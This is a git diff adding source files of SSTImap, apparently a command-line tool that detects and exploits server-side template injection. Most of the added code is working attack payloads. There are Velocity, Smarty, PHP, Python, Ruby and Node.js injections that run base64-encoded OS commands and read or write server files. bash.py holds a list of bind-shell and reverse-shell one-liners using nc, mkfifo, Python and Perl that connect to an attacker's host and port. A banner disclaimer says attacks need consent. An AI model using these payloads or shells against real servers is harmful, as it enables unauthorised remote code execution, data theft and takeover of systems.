+ {'level': 5, 'prefix': '{closure}}}', 'suffix': '', 'closures': php.ctx_closures},
+ # This escapes string {% set %s = 1 %}
+ {'level': 5, 'prefix': '{closure} = 1 %}}', 'suffix': '', 'closures': php.ctx_closures},
+ ])
diff --git a/plugins/engines/velocity.py b/plugins/engines/velocity.py
new file mode 100644
index 0000000..bef68b2
--- /dev/null
+++ b/plugins/engines/velocity.py
@@ -0,0 +1,94 @@
+from plugins.languages import java
+from utils import rand
+
+
+class Velocity(java.Java):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{code}',
+ 'header': '\n#set($h={header})\n${{h}}\n',
+ 'trailer': '\n#set($t={trailer})\n${{t}}\n',
+ 'test_render': f'#set($c={rand.randints[0]}*{rand.randints[1]})\n${{c}}\n',
+ 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """#set($engine="")
+#set($run=$engine.getClass().forName("java.lang.Runtime"))
+#set($runtime=$run.getRuntime())
+#set($proc=$runtime.exec("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}"))
+#set($null=$proc.waitFor())
+#set($istr=$proc.getInputStream())
+#set($chr=$engine.getClass().forName("java.lang.Character"))
+#set($output="")
+#set($string=$engine.getClass().forName("java.lang.String"))
+#foreach($i in [1..$istr.available()])
+#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
+#end
+${{output}}
+""",
+ 'truncate': """#set($engine="")
+#set($run=$engine.getClass().forName("java.lang.Runtime"))
+#set($runtime=$run.getRuntime())
+#set($proc=$runtime.exec("bash -c {{echo,-n,}}>{path}"))
+#set($null=$proc.waitFor())
+#set($istr=$proc.getInputStream())
+#set($chr=$engine.getClass().forName("java.lang.Character"))
+#set($output="")
+#set($string=$engine.getClass().forName("java.lang.String"))
+#foreach($i in [1..$istr.available()])
+#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
+#end
+${{output}}
+"""
+ },
+ 'execute': {
+ # This payload cames from henshin's contribution on
+ # issue #9.
+ 'call': 'render',
+ 'execute': """#set($engine="")
+#set($run=$engine.getClass().forName("java.lang.Runtime"))
+#set($runtime=$run.getRuntime())
+#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}"))
+#set($null=$proc.waitFor())
+#set($istr=$proc.getInputStream())
+#set($chr=$engine.getClass().forName("java.lang.Character"))
+#set($output="")
+#set($string=$engine.getClass().forName("java.lang.String"))
+#foreach($i in [1..$istr.available()])
+#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
+#end
+${{output}}
+"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """#set($engine="")
+#set($run=$engine.getClass().forName("java.lang.Runtime"))
+#set($runtime=$run.getRuntime())
+#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}"))
+#set($null=$proc.waitFor())
+#set($istr=$proc.getInputStream())
+#set($chr=$engine.getClass().forName("java.lang.Character"))
+#set($output="")
+#set($string=$engine.getClass().forName("java.lang.String"))
+#foreach($i in [1..$istr.available()])
+#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
+#end
+${{output}}
+"""
+ }
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure})', 'suffix': '', 'closures': java.ctx_closures},
+ # This catches
+ # #if(%s == 1)\n#end
+ # #foreach($item in %s)\n#end
+ # #define( %s )a#end
+ {'level': 3, 'prefix': '{closure}#end#if(1==1)', 'suffix': '', 'closures': java.ctx_closures},
+ {'level': 5, 'prefix': '*#', 'suffix': '#*'},
+ ])
diff --git a/plugins/languages/__init__.py b/plugins/languages/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/plugins/languages/bash.py b/plugins/languages/bash.py
new file mode 100644
index 0000000..e53b56b
--- /dev/null
+++ b/plugins/languages/bash.py
@@ -0,0 +1,19 @@
+os_print = """echo {s1}"""
+
+bind_shell = [
+ """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", {port}));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("{shell}");s.close()'""",
+ """nc -l -p {port} -e {shell}""",
+ """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc -l {port} >/tmp/f; rm -rf /tmp/f""",
+ """socat tcp-l:{port} exec:{shell}"""
+]
+
+reverse_shell = [
+ """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {host} {port} >/tmp/f""",
+ """sleep 1; nc -e {shell} {host} {port}""",
+ """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["{shell}","-i"]);'""",
+ "sleep 1; /bin/bash -c \'{shell} 0&0 2>&0\'",
+ """perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");}};'""",
+ # TODO: ruby payload's broken, fix it.
+ # """ruby -rsocket -e'f=TCPSocket.open("{host}",{port}).to_i;exec sprintf("{shell} -i <&%%d >&%%d 2>&%%d",f,f,f)'""",
+ """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("{shell}");'""",
+]
diff --git a/plugins/languages/java.py b/plugins/languages/java.py
new file mode 100644
index 0000000..d931d79
--- /dev/null
+++ b/plugins/languages/java.py
@@ -0,0 +1,94 @@
+from core.plugin import Plugin
+from plugins.languages import bash
+from utils import closures
+from utils import rand
+import re
+
+
+class Java(Plugin):
+ def language_init(self):
+ self.update_actions({
+ 'execute': {
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2],
+ 'test_os': """uname""",
+ 'test_os_expected': r'^[\w-]+$'
+ },
+ 'read': {
+ 'call': 'execute',
+ 'read': """base64<'{path}'"""
+ },
+ 'md5': {
+ 'call': 'execute',
+ 'md5': """$(type -p md5 md5sum)<'{path}'|head -c 32"""
+ },
+ # Prepared to used only for blind detection. Not useful for time-boolean
+ # tests (since && characters can\'t be used) but enough for the detection phase.
+ 'blind': {
+ 'call': 'execute_blind',
+ 'test_bool_true': 'true',
+ 'test_bool_false': 'false'
+ },
+ 'bind_shell': {
+ 'call': 'execute_blind',
+ 'bind_shell': bash.bind_shell
+ },
+ 'reverse_shell': {
+ 'call': 'execute_blind',
+ 'reverse_shell': bash.reverse_shell
+ }
+ })
+
+ language = 'java'
+
+ def rendered_detected(self):
+ # Java has no eval() function, hence the checks are done using
+ # the command execution action.
+ test_cmd_code = self.actions.get('execute', {}).get('test_cmd')
+ test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected')
+ if test_cmd_code and test_cmd_code_expected and test_cmd_code_expected == self.execute(test_cmd_code):
+ self.set('execute', True)
+ self.set('write', True)
+ self.set('read', True)
+ self.set('bind_shell', True)
+ self.set('reverse_shell', True)
+ test_os_code = self.actions.get('execute', {}).get('test_os')
+ test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected')
+ if test_os_code and test_os_code_expected:
+ os = self.execute(test_os_code)
+ if os and re.search(test_os_code_expected, os):
+ self.set('os', os)
+
+ def blind_detected(self):
+ # No blind code evaluation is possible here, only execution
+ # Since execution has been used to detect blind injection,
+ # let's assume execute_blind as set.
+ self.set('execute_blind', True)
+ self.set('write', True)
+ self.set('bind_shell', True)
+ self.set('reverse_shell', True)
+
+
+ctx_closures = {
+ 1: [
+ closures.close_single_double_quotes + closures.integer,
+ closures.close_function + closures.empty
+ ],
+ 2: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var,
+ closures.close_function + closures.empty
+ ],
+ 3: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 4: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 5: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty,
+ closures.close_function + closures.close_list + closures.empty,
+ ]
+}
diff --git a/plugins/languages/javascript.py b/plugins/languages/javascript.py
new file mode 100644
index 0000000..e12eb95
--- /dev/null
+++ b/plugins/languages/javascript.py
@@ -0,0 +1,103 @@
+from plugins.languages import bash
+from utils import closures
+from core.plugin import Plugin
+from utils import rand
+
+
+class Javascript(Plugin):
+ def language_init(self):
+ self.update_actions({
+ 'render': {
+ 'call': 'inject',
+ 'render': """{code}""",
+ 'header': """'{header}'+""",
+ 'trailer': """+'{trailer}'""",
+ 'test_render': f'typeof({rand.randints[0]})+{rand.randints[1]}',
+ 'test_render_expected': f'number{rand.randints[1]}'
+ },
+ # No evaluate_blind here, since we've no sleep, we'll use inject
+ 'write': {
+ 'call': 'inject',
+ 'write': """require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')//""",
+ 'truncate': """require('fs').writeFileSync('{path}', '')"""
+ },
+ 'read': {
+ 'call': 'render',
+ 'read': """require('fs').readFileSync('{path}').toString('base64')"""
+ },
+ 'md5': {
+ 'call': 'render',
+ 'md5': "require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest(\"hex\")"
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """eval(Buffer('{code_b64}', 'base64').toString())""",
+ 'test_os': """require('os').platform()""",
+ 'test_os_expected': r'^[\w-]+$',
+ },
+ 'blind': {
+ 'call': 'execute_blind',
+ 'test_bool_true': 'true',
+ 'test_bool_false': 'false'
+ },
+ # Not using execute here since it's rendered and requires set headers and trailers
+ 'execute_blind': {
+ 'call': 'inject',
+ # execSync() has been introduced in node 0.11, so this will not work with old node versions.
+ # TODO: use another function.
+ 'execute_blind': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')//"""
+ },
+ 'execute': {
+ 'call': 'render',
+ 'execute': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'bind_shell': {
+ 'call': 'execute_blind',
+ 'bind_shell': bash.bind_shell
+ },
+ 'reverse_shell': {
+ 'call': 'execute_blind',
+ 'reverse_shell': bash.reverse_shell
+ }
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # This terminates the statement with ;
+ {'level': 1, 'prefix': '{closure};', 'suffix': '//', 'closures': ctx_closures},
+ # This does not need termination e.g. if(%s) {}
+ {'level': 2, 'prefix': '{closure}', 'suffix': '//', 'closures': ctx_closures},
+ # Comment blocks
+ {'level': 5, 'prefix': '*/', 'suffix': '/*'},
+ ])
+
+ language = 'javascript'
+
+
+ctx_closures = {
+ 1: [
+ closures.close_single_double_quotes + closures.integer,
+ closures.close_function + closures.empty
+ ],
+ 2: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.empty
+ ],
+ 3: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 4: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 5: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty,
+ closures.close_function + closures.close_list + closures.empty,
+ ],
+}
+
diff --git a/plugins/languages/php.py b/plugins/languages/php.py
new file mode 100644
index 0000000..960df0d
--- /dev/null
+++ b/plugins/languages/php.py
@@ -0,0 +1,102 @@
+from plugins.languages import bash
+from core.plugin import Plugin
+from utils import closures
+from utils import rand
+
+
+class Php(Plugin):
+ def language_init(self):
+ self.update_actions({
+ 'render': {
+ 'call': 'inject',
+ 'render': """{code}""",
+ 'header': """print_r('{header}');""",
+ 'trailer': """print_r('{trailer}');""",
+ 'test_render': f'print({rand.randints[0]});',
+ 'test_render_expected': f'{rand.randints[0]}'
+ },
+ 'write': {
+ 'call': 'evaluate',
+ 'write': """$d="{chunk_b64}"; file_put_contents("{path}", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""",
+ 'truncate': """file_put_contents("{path}", "");"""
+ },
+ 'read': {
+ 'call': 'evaluate',
+ 'read': """print(base64_encode(file_get_contents("{path}")));"""
+ },
+ 'md5': {
+ 'call': 'evaluate',
+ 'md5': """is_file("{path}") && print(md5_file("{path}"));"""
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """{code}""",
+ 'test_os': 'echo PHP_OS;',
+ 'test_os_expected': r'^[\w-]+$'
+ },
+ 'execute': {
+ 'call': 'evaluate',
+ 'execute': """$d="{code_b64}";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%4,'=',STR_PAD_RIGHT)));""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'blind': {
+ 'call': 'evaluate_blind',
+ 'test_bool_true': """True""",
+ 'test_bool_false': """False"""
+ },
+ 'evaluate_blind': {
+ 'call': 'inject',
+ 'evaluate_blind': """$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)) . ") && sleep({delay});");"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """$d="{code_b64}";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)). " && sleep {delay}");"""
+ },
+ 'bind_shell': {
+ 'call': 'execute_blind',
+ 'bind_shell': bash.bind_shell
+ },
+ 'reverse_shell': {
+ 'call': 'execute_blind',
+ 'reverse_shell': bash.reverse_shell
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # This terminates the statement with ;
+ {'level': 1, 'prefix': '{closure};', 'suffix': '//', 'closures': ctx_closures},
+ # This does not need termination e.g. if(%s) {}
+ {'level': 2, 'prefix': '{closure}', 'suffix': '//', 'closures': ctx_closures},
+ # Comment blocks
+ {'level': 5, 'prefix': '*/', 'suffix': '/*'},
+ ])
+
+ language = 'php'
+
+
+ctx_closures = {
+ 1: [
+ closures.close_single_double_quotes + closures.integer,
+ closures.close_function + closures.empty
+ ],
+ 2: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.empty
+ ],
+ 3: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 4: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 5: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.var,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty,
+ closures.close_function + closures.close_list + closures.empty,
+ ]
+}
diff --git a/plugins/languages/python.py b/plugins/languages/python.py
new file mode 100644
index 0000000..bd70eb7
--- /dev/null
+++ b/plugins/languages/python.py
@@ -0,0 +1,100 @@
+from core.plugin import Plugin
+from utils import closures
+from plugins.languages import bash
+from utils import rand
+
+
+class Python(Plugin):
+ def language_init(self):
+ self.update_actions({
+ 'render': {
+ 'render': """str({code})""",
+ 'header': """'{header}'+""",
+ 'trailer': """+'{trailer}'""",
+ 'test_render': f"""'{rand.randstrings[0]}'.join('{rand.randstrings[1]}')""",
+ 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}'
+ },
+ 'write': {
+ 'call': 'evaluate',
+ 'write': """open("{path}", 'ab+').write(__import__("base64").urlsafe_b64decode('{chunk_b64}'))""",
+ 'truncate': """open("{path}", 'w').close()"""
+ },
+ 'read': {
+ 'call': 'evaluate',
+ 'read': """__import__("base64").b64encode(open("{path}", "rb").read())"""
+ },
+ 'md5': {
+ 'call': 'evaluate',
+ 'md5': """__import__("hashlib").md5(open("{path}", 'rb').read()).hexdigest()"""
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """{code}""",
+ 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""",
+ 'test_os_expected': r'^[\w-]+$'
+ },
+ 'execute': {
+ 'call': 'evaluate',
+ 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode()).read()""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'blind': {
+ 'call': 'evaluate_blind',
+ 'test_bool_true': """'a'.join('ab') == 'aab'""",
+ 'test_bool_false': 'True == False'
+ },
+ 'evaluate_blind': {
+ 'call': 'evaluate',
+ 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('{code_b64}').decode()) and __import__('time').sleep({delay})"""
+ },
+ 'bind_shell': {
+ 'call': 'execute_blind',
+ 'bind_shell': bash.bind_shell
+ },
+ 'reverse_shell': {
+ 'call': 'execute_blind',
+ 'reverse_shell': bash.reverse_shell
+ },
+ 'execute_blind': {
+ 'call': 'evaluate',
+ 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode() + ' && sleep {delay}').read()"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # Code context escape with eval() injection is not easy, since eval is used to evaluate a single
+ # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail.
+ # TODO: the plugin should support the exec() injections, which can be assisted by code context escape
+ ])
+
+ language = 'python'
+
+
+ctx_closures = {
+ 1: [
+ closures.close_single_double_quotes + closures.integer,
+ closures.close_function + closures.empty
+ ],
+ 2: [
+ closures.close_single_double_quotes + closures.integer + closures.string,
+ closures.close_function + closures.empty
+ ],
+ 3: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 4: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty
+ ],
+ 5: [
+ closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes,
+ closures.close_function + closures.close_list + closures.close_dict + closures.empty,
+ closures.close_function + closures.close_list + closures.empty,
+ closures.if_loops + closures.empty
+ ],
+}
+
diff --git a/plugins/languages/ruby.py b/plugins/languages/ruby.py
new file mode 100644
index 0000000..186c15c
--- /dev/null
+++ b/plugins/languages/ruby.py
@@ -0,0 +1,69 @@
+from core.plugin import Plugin
+from plugins.languages import bash
+from utils import rand
+
+
+class Ruby(Plugin):
+ def language_init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '"#{{{code}}}"',
+ 'header': """'{header}'+""",
+ 'trailer': """+'{trailer}'""",
+ 'test_render': f"""{rand.randints[0]}*{rand.randints[1]}""",
+ 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }}""",
+ 'truncate': """File.truncate('{path}', 0)"""
+ },
+ 'read': {
+ 'call': 'evaluate',
+ 'read': """(require'base64';Base64.encode64(File.binread("{path}"))).to_s""",
+ },
+ 'md5': {
+ 'call': 'evaluate',
+ 'md5': """(require'digest';Digest::MD5.file("{path}")).to_s"""
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """{code}""",
+ 'test_os': """RUBY_PLATFORM""",
+ 'test_os_expected': r'^[\w._-]+$'
+ },
+ 'execute': {
+ 'call': 'evaluate',
+ 'execute': """(require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')}})).to_s""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'blind': {
+ 'call': 'evaluate_blind',
+ 'test_bool_true': """1.to_s=='1'""",
+ 'test_bool_false': """1.to_s=='2'"""
+ },
+ 'evaluate_blind': {
+ 'call': 'inject',
+ 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay})"""
+ },
+ 'bind_shell': {
+ 'call': 'execute_blind',
+ 'bind_shell': bash.bind_shell
+ },
+ 'reverse_shell': {
+ 'call': 'execute_blind',
+ 'reverse_shell': bash.reverse_shell
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}})"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ ])
+
+ language = 'ruby'
diff --git a/plugins/legacy_engines/__init__.py b/plugins/legacy_engines/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/plugins/legacy_engines/smarty_unsecure.py b/plugins/legacy_engines/smarty_unsecure.py
new file mode 100644
index 0000000..ba1a69c
--- /dev/null
+++ b/plugins/legacy_engines/smarty_unsecure.py
@@ -0,0 +1,42 @@
+from plugins.languages import php
+from utils import rand
+
+
+class Smarty_unsecure(php.Php):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{code}',
+ 'header': '{{{header}}}',
+ 'trailer': '{{{trailer}}}',
+ # {php}{/php} added to check for this tag for exploitation, otherwise test regular Smarty payload based on {if}{/if} tag
+ 'test_render': f"""{{{rand.randints[0]}}}{{php}}{{/php}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""",
+ 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}'
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """{{php}}{code}{{/php}}"""
+ },
+ 'evaluate_blind': {
+ 'call': 'inject',
+ 'evaluate_blind': """{{php}}$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)) . ") && sleep({delay});");{{/php}}"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """{{php}}$d="{code_b64}";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)). " && sleep {delay}");{{/php}}"""
+ },
+ })
+
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}', 'suffix': '{', 'closures': php.ctx_closures},
+ # {config_load file="missing_file"} raises an exception
+ # Escape Ifs
+ {'level': 5, 'prefix': '{closure}}}{{/if}}{{if 1}}', 'suffix': '', 'closures': php.ctx_closures},
+ # Escape {assign var="%s" value="%s"}
+ {'level': 5, 'prefix': '{closure} var="" value=""}}{{assign var="" value=""}}', 'suffix': '', 'closures': php.ctx_closures},
+ # Comments
+ {'level': 5, 'prefix': '*}}', 'suffix': '{*'},
+ ])
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..91be2db
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,3 @@
+argparse==1.4.0
+requests==2.27.1
+urllib3==1.26.9
\ No newline at end of file
diff --git a/sstimap.py b/sstimap.py
new file mode 100644
index 0000000..f352ca8
--- /dev/null
+++ b/sstimap.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python3
+import sys
+from utils import cliparser
+from core import checks
+from core.channel import Channel
+from core.interactive import InteractiveShell
+from utils.loggers import log
+import traceback
+
+version = '1.0.0'
+
+
+def main():
+ args = vars(cliparser.options)
+ args['version'] = version
+ if not (args['url'] or args['interactive']):
+ # no target specified
+ log.log(22, 'SSTImap requires target url (-u, --url) or interactive mode (-i, --interactive)')
+ elif args['interactive']:
+ # interactive mode
+ log.log(23, 'Starting SSTImap in interactive mode. Type \'help\' to see the details.')
+ InteractiveShell(args).cmdloop()
+ else:
+ # predetermined mode
+ checks.check_template_injection(Channel(args))
+
+
+if __name__ == '__main__':
+ print(cliparser.banner())
+ if sys.version_info.major != 3:
+ log.critical(f'SSTImap was created for Python3. Python{sys.version_info.major} is not supported!')
+ sys.exit()
+ try:
+ main()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(22, 'Exiting')
+ except Exception as e:
+ log.critical('Error: {}'.format(e))
+ log.debug(traceback.format_exc())
+ raise e
diff --git a/utils/__init__.py b/utils/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/utils/cliparser.py b/utils/cliparser.py
new file mode 100644
index 0000000..9e4a3db
--- /dev/null
+++ b/utils/cliparser.py
@@ -0,0 +1,100 @@
+import argparse
+from sstimap import version
+
+
+def banner():
+ msg = """\033[93m
+ ╔══════╦══════╦═══════╗ ▀█▀
+ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗\033[41m▀\033[40m╔═
+ ║ ╚════╣ ╚════╗ ║ ║ ║\033[41m{\033[40m║ \033[94m _ __ ___ __ _ _ __\033[93m
+ ╚════╗ ╠════╗ ║ ║ ║ ║\033[41m*\033[40m║ \033[94m| '_ ` _ \\ / _` | '_ \\\033[93m
+ ╔════╝ ╠════╝ ║ ║ ║ ║\033[41m}\033[40m║ \033[94m| | | | | | (_| | |_) |\033[93m
+ ╚══════╩══════╝ ╚═╝ ╚╦╝\033[94m |_| |_| |_|\\__,_| .__/\033[93m
+ │ \033[94m| |
+ |_|\033[0m"""
+ msg += f"\n\033[94m[*]\033[0m Version: {version}" \
+ f"\n\033[94m[*]\033[0m Author: \033]8;;https://t.me/vladko312\007@vladko312\033]8;;\007" \
+ f"\n\033[34m[*]\033[0m Based on \033]8;;https://github.com/epinna/tplmap\007Tplmap\033]8;;\007" \
+ f"\n\033[91m[!] LEGAL DISCLAIMER\033[0m: Usage of SSTImap for attacking targets without prior mutual " \
+ f"consent is illegal.\nIt is the end user's responsibility to obey all applicable local, state and " \
+ f"federal laws.\nDevelopers assume no liability and are not responsible for any misuse or damage " \
+ f"caused by this program\n\n"
+ return msg
+
+
+parser = argparse.ArgumentParser(description='SSTImap is an automatic SSTI detection and exploitation tool '
+ 'with predetermined and interactive modes.')
+parser.add_argument('-v', '--version', action='version', version=f'SSTImap version {version}')
+
+
+target = parser.add_argument_group(title="target",
+ description="At least one of these options has to be provided to define target(s)")
+target.add_argument("-u", "--url", dest="url",
+ help="Target URL (e.g. 'https://example.com/?name=test')")
+target.add_argument("-i", "--interactive", action="store_true", dest="interactive",
+ help="Run SSTImap in interactive mode")
+
+
+request = parser.add_argument_group(title="request", description="These options can specify how to connect to the "
+ "target URL and add possible attack vectors")
+request.add_argument("-M", "--marker", dest="marker",
+ help="Use string as injection marker (default '*')", default='*')
+request.add_argument("-d", "--data", action="append", dest="data",
+ help="POST data param to send (e.g. 'param=value') [Stackable]", default=[])
+request.add_argument("-H", "--header", action="append", dest="headers", metavar="HEADER",
+ help="Header to send (e.g. 'Header: Value') [Stackable]", default=[])
+request.add_argument("-c", "--cookie", action="append", dest="cookies", metavar="COOKIE",
+ help="Cookie to send (e.g. 'Field=Value') [Stackable]", default=[])
+request.add_argument("-m", "--method", dest="method",
+ help="HTTP method to use (default 'GET')", default='GET')
+request.add_argument("-a", "--user-agent", dest="user_agent",
+ help="User-Agent header value to use", default=f'SSTImap/{version}')
+request.add_argument("-A", "--random-user-agent", action="store_true", dest="random_agent",
+ help="Random User-Agent header value from a list of desktop browsers on every attempt")
+request.add_argument("-p", "--proxy", dest="proxy",
+ help="Use a proxy to connect to the target URL")
+request.add_argument("-V", "--verify-ssl", action="store_true", dest="verify_ssl",
+ help="Verify SSL certificates (not verified by default)")
+
+
+detection = parser.add_argument_group(title="detection",
+ description="These options can be used to customize the detection phase.")
+detection.add_argument("-l", "--level", dest="level", type=int, default=1,
+ help="Level of escaping to perform (1-5, Default: 1)")
+detection.add_argument("-L", "--force-level", dest="force_level", metavar=("LEVEL", "CLEVEL",),
+ help="Force a LEVEL and CLEVEL to test", nargs=2)
+detection.add_argument("-e", "--engine", dest="engine",
+ help="Check only this backend template engine")
+detection.add_argument("-r", "--technique", dest="technique",
+ help="Techniques R(endered) T(ime-based blind). Default: RT", default="RT")
+detection.add_argument("-P", "--legacy", "--legacy-payloads", dest="legacy", action="store_true",
+ help="Include old payloads, that no longer work with newer versions of the engines")
+
+
+payload = parser.add_argument_group(title="payload",
+ description="These options can be used to get access to the template engine, "
+ "filesystem or OS shell after an attack.")
+payload.add_argument("-t", "--tpl-shell", dest="tpl_shell", action="store_true",
+ help="Prompt for an interactive shell on the template engine")
+payload.add_argument("-T", "--tpl-code", dest="tpl_code",
+ help="Inject code in the template engine")
+payload.add_argument("-x", "--eval-shell", dest="eval_shell", action="store_true",
+ help="Prompt for an interactive shell on the template engine base language")
+payload.add_argument("-X", "--eval-code", dest="eval_code",
+ help="Evaluate code in the template engine base language")
+payload.add_argument("-s", "--os-shell", dest="os_shell", action="store_true",
+ help="Prompt for an interactive operating system shell")
